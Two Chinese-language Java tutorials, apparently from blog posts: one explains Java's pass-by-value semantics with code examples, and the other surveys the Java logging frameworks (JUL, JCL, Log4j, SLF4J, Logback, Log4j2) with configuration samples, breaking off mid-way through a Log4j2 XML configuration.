-
在Java编程中,理解“值传递”(Pass by Value)和“引用传递”(Pass by Reference)的概念对于理解方法参数的传递方式至关重要。这两种传递方式直接影响到方法调用时参数的处理方式以及方法对参数的修改是否会影响到调用者。尽管Java中的参数传递方式被称为“值传递”,它在处理对象时表现得类似于“引用传递”。一、值传递(Pass by Value)值传递是指在方法调用时,传递的是实际参数的一个副本。无论在方法内部对这个副本如何修改,都不会影响到方法外部的实际参数。这种方式常用于传递基本数据类型(如int、float、boolean等)。1. 值传递的特点方法接收的是参数的一个副本,而不是参数本身。方法内部对参数的修改不会影响到方法外部的实际参数。2. 值传递的示例public class Test { public static void main(String[] args) { int a = 10; modifyValue(a); System.out.println("Value of a after method call: " + a); // 输出: 10 } static void modifyValue(int x) { x = 20; // 仅仅修改了x的副本,不会影响a }}在这个例子中,a的值被复制到方法参数x中。x在方法内部被修改为20,但这只是对x的副本进行的修改,不会影响到a的值。因此,方法调用结束后,a仍然是10。二、引用传递(Pass by Reference)引用传递是指在方法调用时,传递的是参数的引用(即内存地址),因此方法接收到的是实际参数的引用。任何对引用的修改都会直接影响到实际参数。这种方式常用于传递对象和数组。然而,在Java中,不存在真正的引用传递。Java总是以值传递的方式进行参数传递,但对于对象而言,传递的是对象引用的副本。由于引用的副本指向的是同一个对象,因此方法内部的修改会影响到外部的对象状态。1. 引用传递的特点方法接收的是对象引用的一个副本,这个副本指向同一个对象。方法内部对对象的修改会影响到方法外部的对象。2. 引用传递的误解与实际情况尽管Java使用值传递,但由于传递的是对象的引用副本,这种行为与引用传递相似。public class Test { public static void main(String[] args) { Person person = new Person("John"); modifyPerson(person); System.out.println("Name after method call: " + person.getName()); // 输出: Doe } static void modifyPerson(Person p) { p.setName("Doe"); // 修改对象内部的状态,影响到外部的对象 }}class Person { private String name; Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; }}在这个例子中,person对象的引用被传递给方法modifyPerson。方法内部通过引用修改了对象的属性,因此方法外部的对象状态也被修改。三、Java中参数传递的实际机制Java中的参数传递机制被称为“值传递”。具体来说:基本数据类型:当传递基本数据类型时,传递的是值的副本。因此,方法内部对参数的修改不会影响外部变量。对象:当传递对象时,传递的是对象引用的副本。由于引用副本指向同一个对象,因此方法内部对对象的修改会影响外部的对象。1. 基本数据类型的值传递public class Test { public static void main(String[] args) { int num = 10; modifyPrimitive(num); System.out.println("Value of num after method call: " + num); // 输出: 10 } static void modifyPrimitive(int x) { x = 20; // 修改副本,不影响原始变量 }}在这个例子中,num的值被复制给方法参数x,x的修改不会影响到num。2. 对象引用的值传递public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyObject(person); System.out.println("Name after method call: " + person.getName()); // 输出: Bob } static void modifyObject(Person p) { p.setName("Bob"); // 修改对象属性,影响外部对象 }}在这个例子中,person对象的引用被传递给方法modifyObject,通过引用修改对象的属性,方法外部的对象也受到影响。3. 修改对象引用本身的副本如果在方法内部尝试更改引用本身,而不是引用所指向的对象,那么这种修改不会影响外部对象。public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyReference(person); System.out.println("Name after method call: " + person.getName()); // 输出: Alice } static void modifyReference(Person p) { p = new Person("Charlie"); // 修改引用本身,不影响外部的引用 }}在这个例子中,方法modifyReference创建了一个新的Person对象,并将引用指向这个新对象。但这种更改仅限于方法内部,不会影响外部的person引用,因此person仍然指向原始的Person对象。四、总结1. Java中的值传递Java中的所有参数传递都是值传递:对于基本数据类型,传递的是变量的副本。因此,方法内部对参数的修改不会影响外部变量。对于对象,传递的是对象引用的副本。尽管传递的仍然是值,但由于这个值是引用,因此方法内部对对象的修改会影响外部对象。2. 理解引用传递的误解Java中没有真正的引用传递,尽管对对象引用的值传递看起来像是引用传递。因为传递的是对象引用的副本,而不是对象本身,所以方法内对引用的修改不会影响外部的引用。3. 应用场景和注意事项在实际编程中,理解Java的参数传递机制对于避免潜在的bug至关重要。例如:当你不希望方法修改外部对象时,应该避免直接传递可变对象,或者在方法内部不要修改对象的状态。如果需要在方法中修改对象,可以放心地传递对象引用,因为方法内部对对象状态的修改会影响外部。通过理解Java中的值传递和引用传递的区别,以及它们的实际表现形式,你可以编写出更为健壮和正确的Java程序,避免一些常见的编程陷阱。———————————————— 原文链接:https://blog.csdn.net/Flying_Fish_roe/article/details/143103367
-
java日志在程序开发中,日志是一个很重要的角色,其主要用于记录程序运行的情况,以便于程序在部署之后的排错调试等。日志的概念(1)日志的作用及好处查看程序的运行状态以及程序的运行轨迹,方便对程序进行分析。系统问题排查,日志结合异常处理,可快速发现程序发生异常的地点。查看系统运行时间,为系统性能优化提供相关的依据。安全审计,通过系统日志分析,可以判断一些非法攻击,非法调用,以及系统处理过程中的安全隐患。(2)最简单的日志最简单的日志使用便是System.out.print() public class Application(){ public static void main(String[] args){ // 设置日期格式 SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); // new Date()为获取当前系统时间 String beginTime = df.format(new Date()); System.out.print(beginTime + "程序开始了......"); ... ... ... String endTime = df.format(new Date()); System.out.print(endTime + "程序结束了......"); } }优点:直观、方便缺点:System.out.print和java运行程序运行在同一线程,业务程序会等待System.out.print的动作,导致资源被占用。System.out.print是在控制台输出,只能输出到控制台,没有存储到日志文件当中。不规范。(3)日志框架Java 拥有功能和性能都非常强大的日志库,但不幸的是,日志库并不止一个,如JUL(Java Util Log)、JCL(Commons Logging)、Log4j、SLF4J、Logback、Log4j2 等等的日志工具,那么到底使用那一个呢?Java日志的发展史日志最早出现的是Apache开源社区的Log4j,此日志确实是应用最广泛的日志工具,成为了 Java 日志事实上的标准。之后, Java 的开发主体 Sun 公司为了抢回市场,在Jdk1.4中增加了与Log4j没有关联的 JUL(java.util.logging)日志实现,用于对抗 Log4j,但是却成为了 Java 目前记录日志局面混乱的开端。当项目使用的第三方库使用了不同的日志工具时,就会造成一个应用中存在着多种日志的情况,由于各种日志之间互相没有关联,替换和统一日志工具也就变成了一件比较棘手的事情。为解决多种log工具存在的问题,Apache 开源社区提供了一个日志框架作为日志的抽象,叫 commons-logging,也被称为 JCL。JCL 会对各种日志接口进行抽象,抽象出一个接口层,实现对每个日志框架都进行适配,在使用日志工具时直接使用抽象接口即可,完成了各种主流日志框架的兼容实现(Log4j、JUL、simplelog等),较好的解决了上述问题。JCL出现之后,元老级日志Log4j 的作者 觉得 JCL 不够优秀,所以他再度开发了一套更优雅的日志框架 SLF4J(Simple Logging Facade for Java),即简单日志门面,并为 SLF4J实现了一个亲儿子——logback日志框架。在弄完后,觉得还是得照顾一下自己的“大儿子”log4j,于是对log4j进行升级,便出现了Log4j2。java common logging 和 SLF4J 都是日志的接口,供用户使用,而没有提供实现,Log4j、JUL、logback、Log4j2 等等才是日志的真正实现。他们之间的关系可看作电脑与打印机设备之间的关系,电脑连接多台没有关联的打印机,用户只需用电脑选择打印机进行打印。不相同的是,当我们调用日志接口时,接口会自动寻找恰当的实现,返回一个合适的实例给我们服务。这些过程都是透明化的,用户不需要进行任何操作。(如不理解,请继续往后阅读)日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。最常见的日志级别为Debug、Info、Warn、Error日志优先级别从低到高顺序为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFFLog4j日志框架最先出现的日志框架,是 Apache 的一个开源项目。使用Log4j可以通过配置文件来灵活进行配置,控制日志信息的输出格式和目标,而不需要修改程序代码。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)引入相关依赖 <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.12</version> </dependency>(2)配置log4j核心配置文件log4j.properties先认识一下Log4j三大组件Logger、Appender、Layout。Logger: 日志记录器,日志记录的核心类,用于输出不同日志级别的消息。Appender: 日志输出目标,用于指定日志输出的目的地,如控制台、文件等等。Layout: 日志格式化器,用于指定日志按照什么格式输出,是日志输出的格式化器。配置样例:# Global logging configuration ######################### Logger ############################ # 设置日志输出级别以及输出目的地,等号后第一个参数写日志级别,级别后面写输出目的地,目的地名可自定义,多个目的地以逗号分开。 # 设置根Logger,默认输出DEBUG以上的记录,输出目标(appender)为CONSOLE、LOGFILE log4j.rootLogger=DEBUG,CONSOLE,LOGFILE ######################### Appender ######################### # 对目标CONSOLE进行配置(与Logger对应) # 设置日志目标类型为org.apache.log4j.ConsoleAppender控制台类型 log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender # 输出到的目的地 log4j.appender.CONSOLE.Target = System.out # 指定控制台输出日志级别 log4j.appender.CONSOLE.Threshold = DEBUG # 默认值是 true, 表示是否立即输出 log4j.appender.CONSOLE.ImmediateFlush = true # 设置编码方式 log4j.appender.CONSOLE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.CONSOLE.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %5p (%c:%L) - %m%n # 对目标LOGFILE进行设置(与Logger对应) # 设置日志目标类型为org.apache.log4j.FileAppender文件类型 log4j.appender.LOGFILE=org.apache.log4j.FileAppender # 指定输出文件路径,相对路径或绝对路径 log4j.appender.LOGFILE.File =./logs/error.log #日志输出到文件,默认为true log4j.appender.LOGFILE.Append = true # 指定输出日志级别 log4j.appender.LOGFILE.Threshold = ERROR # 是否立即输出,默认值是 true, log4j.appender.LOGFILE.ImmediateFlush = true # 设置编码方式 log4j.appender.LOGFILE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.LOGFILE.layout = org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.LOGFILE.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%nrootLogger部分总是存在一个rootLogger,即使没有显示配置也是存在的,并且默认输出级别为DEBUG,所有其他的Logger都默认继承自rootLogger子Logger格式:log4j.logger.childName=INFO,appenderName1,appenderName2...注意,在设置子Logger后,会造成appender叠加,即子Logger输出一次,父Logger也会输出一次,如果要限制叠加,则需要添加下面的语句: log4j.additivity.childName=falseAppender部分日志信息输出目的地类型类型 描述org.apache.log4j.ConsoleAppender 控制台org.apache.log4j.FileAppender 文件org.apache.log4j.DailyRollingFileAppender 每天产生一个日志文件org.apache.log4j.RollingFileAppender 文件大小到达指定尺寸的时候产生一个新的文件org.apache.log4j.WriterAppender 将日志信息以流格式发送到任意指定的地方ConsoleAppender控制台常配置属性Threshold: 指定日志消息的输出最低日记级别。ImmediateFlush: 默认值是true,意谓着所有的消息都会被立即输出。Target:指定输出控制台,默认情况下是System.outFileAppender 文件的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出的文件路径。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。RollingFileAppender的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出到mylog.txt文件。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。MaxFileSize:后缀可以是KB, MB 或者是 GB. 在日志文件到达该大小时,将会自动滚动,即将原来的内容移到mylog.log.1文件。MaxBackupIndex=2:指定可以产生的滚动文件的最大数。Layout部分每一个Appender都会指定一个布局,布局的类型有如下:类型 描述org.apache.log4j.HTMLLayout 以HTML表格形式布局org.apache.log4j.PatternLayout 可以灵活地指定布局模式org.apache.log4j.SimpleLayout 包含日志信息的级别和信息字符串org.apache.log4j.TTCCLayout 包含日志产生的时间、线程、类别等等信息其中PatternLayout类型格式为自定义的,指定此类型需要设置ConversionPattern属性,如: log4j.appender.A1.layout.ConversionPattern=%-4r %-5p %d{yyyy-MM-dd HH:mm:ssS} %c %m%nConversionPattern配置属性符号 描述%p 输出日志信息优先级,即DEBUG,INFO,WARN,ERROR,FATAL%d 输出日志时间点的日期或时间,默认格式为ISO8601,也可以在其后指定格式,比如:%d{yyyy MM dd HH:mm:ss,SSS},输出类似:2002年10月18日 22:10:28,921%r 输出自应用启动到输出该log信息耗费的毫秒数%c 输出日志信息所属的类目,通常就是所在类的全名%t 输出产生该日志事件的线程名%l 输出日志事件的发生位置,相当于%C.%M(%F:%L)的组合,包括类目名、发生的线程,以及在代码中的行数。%x 输出和当前线程相关联的NDC(嵌套诊断环境)%F 输出日志消息产生时所在的文件名称%L 输出代码中的行号%m 输出代码中指定的消息,产生的日志具体信息%n 输出一个回车换行符,Windows平台为”\r\n",Unix平台为"\n"输出日志信息换行%% 输出一个"%“字符- "-"号指定左对齐,位于%与字母间,例:%-d. "."号指定字符长度,超过设置长度则将左边多余的截掉,例%.20c(3)代码中使用 import org.apache.log4j.Logger; public class TestLog4j { public static void main(String[] args) { // 获取此类的logger,getLogger()中写此类 final Logger logger = Logger.getLogger(TestLog4j.class); // 获取在配置文件中自定义的appender,即输出目标 final Logger saveUserLog = Logger.getLogger("Console"); // 手动设置日志输出 logger.info("info"); logger.error("error"); saveUserLog.info("张三,男,26岁,北京大学,2018-05-19,学霸"); } }总结:用户使用Logger来进行日志记录,Logger持有若干个Appender,日志的输出操作是由Appender完成的,它会将日志内容输出到指定位置(日志文件、控制台等)。Appender在输出日志时会使用Layout,将输出内容进行排版。JUL日志框架JUL全称Java Util Logging,是Java原生的日志框架,使用时不需要另外引入第三方类库,相对于其他日志框架来说其特点是使用方便,能够在小型应用中灵活应用。JUL是 Sun 公司于 2002 年 5 月正式发布的。它是自 J2SE 1.4 版本开始提供的一个新的应用程序接口,需 JDK1.4 版本以上才能支持。JUL日志框架使用的频率并不高,但开发时难免会涉及,最好能理解。JUL日志组件组件 描述Logger(记录器) 用于记录系统或应用程序的消息,是访问日志系统的入口程序Handler(处理器) 也称Appender,从记录器获取日志消息并输出,决定日志记录最终的输出位置Filters(过滤器) 用于对记录的内容提供细粒度控制,超出日志级别提供的控制Formatter(格式) 提供对日志记录格式化的支持,决定日志记录最终的输出形式,相当于LayoutJUL使用的日志级别级别 描述OFF 关闭所有消息的日志记录SEVERE 错误信息WARNING 警告信息INFO 默认信息CONFIG 配置信息FINE 较详细FINER 详细FINEST 超详细ALL 启用所有消息的日志记录日志优先级别从高到低顺序为: OFF > SEVERE > WARNING > INFO > CONFIG > FINE > FINER > FINEST > ALLJUL使用JUL在Java中有系统默认的配置文件,当开发人员没有设置配置文件时,则会使用系统默认的配置文件。使用步骤(无配置文件):1、导入java.util.logging.Logger包2、获取当前类的日志记录器Logger3、调用日志的相关方法,进行日志信息的输出示例: import org.junit.Test; import java.util.logging.Level; import java.util.logging.Logger; public class JULTest { @Test public void test01() { // 引入当前类的全路径字符串获取日志记录器 Logger logger = Logger.getLogger("com.jul.JulTest"); // 注:在获取logger之后,可使用logger的API接口进行日志配置 // 例如:logger.setLevel(level.INFO) 配置日志显示的最低级别 // 此方式代码耦合度过高,代码复杂,不建议使用 String name = "张三"; int age = 23; // 打印日志信息,对于日志的输出有两种方式 // 1、直接调用日志级别的相关方法,方法中传递日志输出信息 logger.info("学生姓名:" + name + ",学生年龄:" + age"); // 2、调用log方法,通过Level类型定义日志级别参数,以及搭配日志输出信息的参数 logger.log(Level.INFO, "学生姓名:" + name + ",学生年龄:" + age"); // 拼接字符串一般不建议使用,性能差,效率低,推荐使用占位符进行输出 logger.log(Level.INFO, "学生姓名:{0},学生年龄:{1}", new Object[]{name, age}); } }使用步骤(有配置文件):1、在resource目录下配置logging.properties示例: # RootLogger的日志级别(默认INFO),所有的Handler都受限于此日志级别,Handler的日志级别可以比RootLogger的日志级别高 .level=ALL # RootLogger默认的处理器,可以配置多个,所有非手动解除父日志的子日志都将使用这些处理器 handlers=java.util.logging.ConsoleHandler, java.util.logging.FileHandler # ConsoleHandler控制台输出处理器配置 # 指定ConsoleHandler默认日志级别 java.util.logging.ConsoleHandler.level=ALL java.util.logging.ConsoleHandler.encoding=UTF-8 # FileHandler文件输出处理器配置 # 指定FileHandler默认日志级别 java.util.logging.FileHandler.level=INFO # 日志文件输出路径 java.util.logging.FileHandler.pattern=/dylan%u.log # 单个日志文件大小,单位是bit,1024bit即为1kb java.util.logging.FileHandler.limit=1024*1024*10 # 日志文件数量,如果数量为2,则会生成dylan.log.0文件和dylan.log.1文件,总容量为: (limit * count)bit java.util.logging.FileHandler.count=1 # FileHandler持有的最大并发锁数 java.util.logging.FileHandler.maxLocks=100 # 指定要使用的Formatter类的名称,FileHandler默认使用的是XMLFormatter java.util.logging.FileHandler.formatter=java.util.logging.SimpleFormatter # 涉及中文日志就最好加上编码集 java.util.logging.FileHandler.encoding=UTF-8 # 是否以追加方式添加日志内容 java.util.logging.FileHandler.append=true # SimpleFormatter的输出格式配置 java.util.logging.SimpleFormatter.format=%4$s: %5$s [%1$tc]%n2、在代码中读取配置文件3、获取LogManager4、获取当前类的日志记录器Logger5、调用日志的相关方法,进行日志信息的输出示例:import org.apache.log4j.Logger; public class TestLog4j { @Test public void testUserDefined() throws IOException { // 1.读取配置文件 InputStream in = new FileInputStream("logging.properties"); // 2.获取LogManager日志管理器 final LogManager logManager = LogManager.getLogManager(); // 3.日志管理器读取自定义配置文件 logManager.readConfiguration(in); // 4.输出日志信息 Logger logger = Logger.getLogger("com.jul.TestLog4j"); logger.warning("warning:警告信息"); logger.info("info:默认信息"); }JCL 日志门面Jakarta Commons-logging(JCL)是apache最早提供的日志门面。它为多种日志框架提供一个通用的日志接口,并通过动态查找机制,在程序运行时自动找出真正使用的日志组件。用户可通过配置,自由选择第三方的日志组件作为日志的具体实现。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)导入common-logging依赖 <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>(2)在项目的src/main/resource目录下创建common-logging.properties配置: // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.SimpleLog(3)在程序中使用logger开发 import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; public class CommonsTest { //使用common-logger的logFactory.getLog()方法获取当前类的logger private final static Log logger = LogFactory.getLog(CommonsTest.class); public static void main(String[] args) { //使用logger输出日志 logger.debug("DEBUG ..."); logger.info("INFO ..."); logger.error("ERROR ..."); logger.warn("WARN..."); } }commons.logging原理JCL有两个重要的抽象类:Log( 基本记录器 ) 和 LogFactory( 负责创建 Log 实例 )Log:包含着多个日志框架的默认实现类实现类 对应日志框架org.apache.commons.logging.impl.Jdk14Logger JULorg.apache.commons.logging.impl.Log4JLogger Log4Jorg.apache.commons.logging.impl.LogKitLogger avalon-Logkitorg.apache.commons.logging.impl.SimpleLog common-logging自带org.apache.commons.logging.impl.NoOpLog common-logging自带这些实现类中只有common-logging自带的SimpleLog和NoOpLog有实际的log实现,其他的实现类需要使用对应的日志组件进行具体的实现。LogFactory:顾名思义,是log的工厂,负责使用动态查找机制进行log实例的获取。其查找步骤如下(找到则停):1、首先在classpath下寻找commons-logging.properties文件中配置的log,如存在,则使用;2、查看classpath中是否有Log4j的包,如果发现,则自动使用Log4j作为日志实现类;3、使用JDK自身的日志实现类java.util.logging.Logger;4、使用commons-logging自己提供的简单的日志实现类SimpleLog;文件commons-logging.properties的配置(可选)一句话! // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.Log4JLogger由于commons-logging并没有进行具体的日志实现,更多的时候用作适配器使用,即插即拔,所以并不需要太多的配置,详细的配置由使用的日志组件进行配置。当然,如果使用的是commons-logging自带的SimpleLog进行日志实现,则需要进行稍微多一点的配置。SimpleLog这是一个很简单的日志输出实现类,它只能控制台输出,提供了以下可定制的属性// 是否输出类的全路径名,如:com.qinxin.User,默认为false org.apache.commons.logging.simplelog.showlogname // 是否输出类的短路径名,如:User,默认为true且与showlogname不能共存 org.apache.commons.logging.simplelog.showShortLogname // 是否输出时间,默认不输出 org.apache.commons.logging.simplelog.showdatetime // 输出的时间格式,默认为yyyy/MM/dd HH:mm:ss:SSS zzz org.apache.commons.logging.simplelog.dateTimeFormatNoOpLog这个实现类什么都不做,所有的方法均为空附言:commons-logging一般不使用自带的日志框架,最多的使用是搭配log4j进行开发,此搭配也是主流选择之一。SLF4J简单的日志门面SLF4J(Simple logging Facade for Java)与JCL(commons-logging)一样,并不是一个真正的日志实现,而是一个抽象层,具体实现都交由日志框架完成。它封装有各种Logging所需要使用到的api,每个logging对应一种日志框架,用户在使用时只需要将使用的日志框架进行绑定即可。SLF4J运行机制如前面所言,SLF4J是一个日志门面,也是一种规范。它提供一个供各种日志框架作具体实现的接口SLF4JServiceProvider,各日志框架想要绑定SLF4J并使用,就必须对接口SLF4JServiceProvider进行实现(由日志框架提供方实现,开发者无需担心),之后,SLF4J会通过SPI机制(Java内置的服务发现机制)对项目类路径下所有实现了SLF4JServiceProvider接口的实例类进行扫描,获取对应的Logger工厂类。补充说明:如果实例列表中存在1个或多个实例,只获取第一个实例,即配置多个日志框架,只会使用最先被加载的那一个。如果一个日志框架都不存在,则打印警告信息。SPI机制要求日志框架提供方实现SLF4JServiceProvider,但多数框架并不会想LogBack一样主动实现该接口,所以出现了slf4j-log4j12、slf4j-jdk14、slf4j-simple等项目,也只有引入这些依赖,SPI机制才会扫描到。SLF4J使用1、在maven项目中引入依赖<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>2.0.5</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.4.10</version> </dependency>2、在classpath路径下配置logback.xml(详细配置请看LogBack篇)<?xml version="1.0" encoding="UTF-8" ?> <configuration> <appender name="Console" class="ch.qos.logback.core.ConsoleAppender"> <encoder> <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> <root level="DEBUG"> <appender-ref ref="Console"/> </root> </configuration>3、在代码中使用import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }SLF4j的优点即插即拔,可快速进行日志框架的替换支持”{}“占位符功能。字符串拼接一直一来都被人所诟病的存在,每一次拼接并非是在原有的字符串上增加,而是重新创建一个String类型的字符串,极其消耗性能和空间。而使用占位符功能不仅降低了你代码中字符串连接次数,而且还节省了新建的String对象。这也是很多人喜欢使用SLF4J而不是commons-logging的原因。LogBack日志框架LogBack与SLF4j是同一作者开发,可以说,LogBack是为SLF4J而生,它比log4j更小、更快、更灵活。LogBack的三个模块:logback-core:核心代码模块logback-classic:日志模块,完整实现了 SLF4J APIlogback-access:配合Servlet容器,提供 http 访问日志功能在别人的项目中,你可能看到别人只引入了logback-classic依赖,而没有引入核心模块,那是因为通常引入logback-classic的依赖,便可自动引入logback-core,但保险起见,建议引入两者或者全部。SpringBoot默认集成了logback和slf4j,因此无需专门引入便可进行直接使用,若不放心,也可显式添加配置。LogBack的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLLogBack的使用1、在maven项目中导入依赖<dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.2.10</version> </dependency>2、在项目类路径中配置LogBack.xml(或者LogBack.groovy)配置样例:<?xml version="1.0" encoding="UTF-8"?> <configuration debug="true" scan="true" scanPeriod="1 seconds"> <contextName>logback</contextName> <!--定义参数,可以通过${app.name}使用--> <property name="app.name" value="logback_test"/> <!--root是默认的logger,level指定输出日志级别是trace--> <root level="trace"> <!--绑定两个appender,日志通这两个appender配置进行输出--> <appender-ref ref="console"/> <appender-ref ref="file"/> </root> <!--自定义Logger,输出日志级别为warn,身为子Logger,它会继承root节点的appender--> <logger name="logbackTest" level="warn"/> <!--自定义Logger,设置了appender,同时继承root的appender,会导致一条日志在控制台输出两次的情况--> <!--可通过设置additivity指定不使用rootLogger配置的appender进行输出--> <logger name="mytest" level="info" additivity="false"> <appender-ref ref="stdout"/> </logger> <!--设置root中定义的appender,用class属性指定日志为ConsoleAppender控制台输出日志--> <appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"> <!--定义过滤器,要求只打印比此日志级别更高的日志--> <filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <level>DEBUG</level> </filter> <!-- encoder 默认配置为PatternLayoutEncoder自定义布局,需要配置格式 --> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> <appender name="file" class="ch.qos.logback.core.rolling.RollingFileAppender"> <!--定义日志输出的相对路径/绝对路径,${app.name}为引用properties定义的参数--> <file>/logs/${app.name}.log</file> <!--定义日志滚动的策略--> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <!--定义文件滚动时的文件名的格式--> <fileNamePattern>/logs/${app.name}.%d{yyyy-MM-dd.HH}.log.gz </fileNamePattern> <!--设置60天的时间周期,日志量最大20GB--> <maxHistory>60</maxHistory> <!-- 该属性在 1.1.6版本后 才开始支持--> <totalSizeCap>20GB</totalSizeCap> </rollingPolicy> <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy"> <!--每个日志文件最大100MB--> <maxFileSize>100MB</maxFileSize> </triggeringPolicy> <!--定义输出格式--> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> </configuration>每次看到xml配置都很头痛,但日志配置总会遵循着Logger、Appender、Layout进行开展。3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }Log4j2日志框架log4j2是log4j的升级版,继logBack之后出现,拥有着更高的性能和日志吞吐量,且引进有新的技术(无锁异步等),并且配置更加灵活。目前最火热的搭配为SLF4J+Log4j2日志开发。Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devLog4j2的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLlog4j2配置log4j2配置文件可有yml、properties、xml、json等格式,常见使用xml格式。多个配置文件存在时,加载的优先级为 properties > yaml > json > xml。配置样例(简洁模式):<?xml version="1.0" encoding="UTF-8"?> <!--根元素,status设置应该记录到控制台的内部 Log4j 事件的级别--> <Configuration status="WARN"> <!--设置全局变量--> <Properties> <Property name="date_format" value="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> <Property name="log_path">D:/logs</Property> </Properties> <!--设置过滤器--> <Filter type="ThresholdFilter" level="trace"/> <!--设置输出目标--> <Appenders> <!--配置一个名为Console的控制台类型appender--> <Console name="Console" target="SYSTEM_OUT"> <!--设置输出格式,引用全局变量--> <PatternLayout pattern="${date_format}"/> <!--控制台只输出level及其以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/> </Console> <!--配置一个名为File的文件类型appender--> <File name="File" fileName="${log_path}/xml_config.log"> <PatternLayout pattern="%d %p %c{1.} [%t] %m%n"/> </File> <!-- 这个会打印出所有的error及以下级别的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档--> <RollingFile name="RollingFileError" fileName="${log_path}/error.log" filePattern="${log_path}/$${date:yyyy-MM}/${FILE_NAME}-%d{yyyy-MM-dd}-ERROR_%i.log.gz"> <!--控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="${LOG_PATTERN}"/> <Policies> 